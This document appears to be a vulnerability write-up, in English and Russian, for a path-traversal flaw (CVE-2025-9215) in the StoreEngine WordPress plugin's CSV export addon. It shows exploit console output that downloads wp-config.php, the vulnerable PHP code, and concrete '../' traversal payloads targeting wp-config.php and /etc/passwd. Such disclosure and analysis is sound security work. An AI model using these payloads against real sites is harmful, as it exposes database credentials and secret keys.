python3 ./CVE-2025-9215.py http://localhost:1337 user1 password   
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).

Downloading wp-config.php via path traversal...
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

## Подробности  

### **Уязвимая функция загрузки файла**
**Примечание: Для эксплуатации этой уязвимости требуется, чтобы администратор включил дополнение CSV-импорт/экспорт.** Конечная точка активации дополнения (`storeengine/saved_addon_status`) требует возможности `manage_options`, что означает, что только администраторы могут включить этот функционал.

AJAX-действие `storeengine_csv/file_download` вызывает функцию `file_download()` в строке [47](https://plugins.trac.wordpress.org/browser/storeengine/trunk/addons/csv/ajax/export.php#L47) файла `/wp-content/plugins/storeengine/addons/csv/ajax/export.php`, в которой отсутствует надлежащая санация пути и которая позволяет произвольную загрузку файлов:

```php
public function file_download( array $payload ) {
    if ( ! isset( $payload['filename'] ) ) {
        wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
    }

    $filename = $payload['filename'];
    $filepath = Helper::get_upload_dir() . '/csv/' . $filename;  // <-- УЯЗВИМО ДЛЯ ОБХОДА ПУТИ!
    
    // НЕТ ПРОВЕРКИ ПРАВ — ЛЮБОЙ ПОЛЬЗОВАТЕЛЬ МОЖЕТ ЗАГРУЗИТЬ ЛЮБОЙ ФАЙЛ!
    // НЕТ САНАЦИИ ПУТИ — ПРЯМАЯ КОНКАТЕНАЦИЯ ПОЗВОЛЯЕТ АТАКИ ../!
    
    if ( ! file_exists( $filepath ) ) {
        wp_send_json_error( __( 'File not found.', 'storeengine' ) );
    }

    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
    readfile( $filepath );  // <-- ЧИТАЕТ И ВЫВОДИТ ЛЮБОЙ ФАЙЛ!
    exit;
}

// Helper::get_upload_dir() возвращает:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';

// Таким образом, полный путь становится:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;

// С обходом пути это становится:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'

public function _get_script_data(): array {
    // ... другие данные ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Строка 279 — РАСКРЫТО ВСЕМ ПОЛЬЗОВАТЕЛЯМ
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... другие данные ...
    ];
}

wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Вызывает _get_script_data()
);

protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}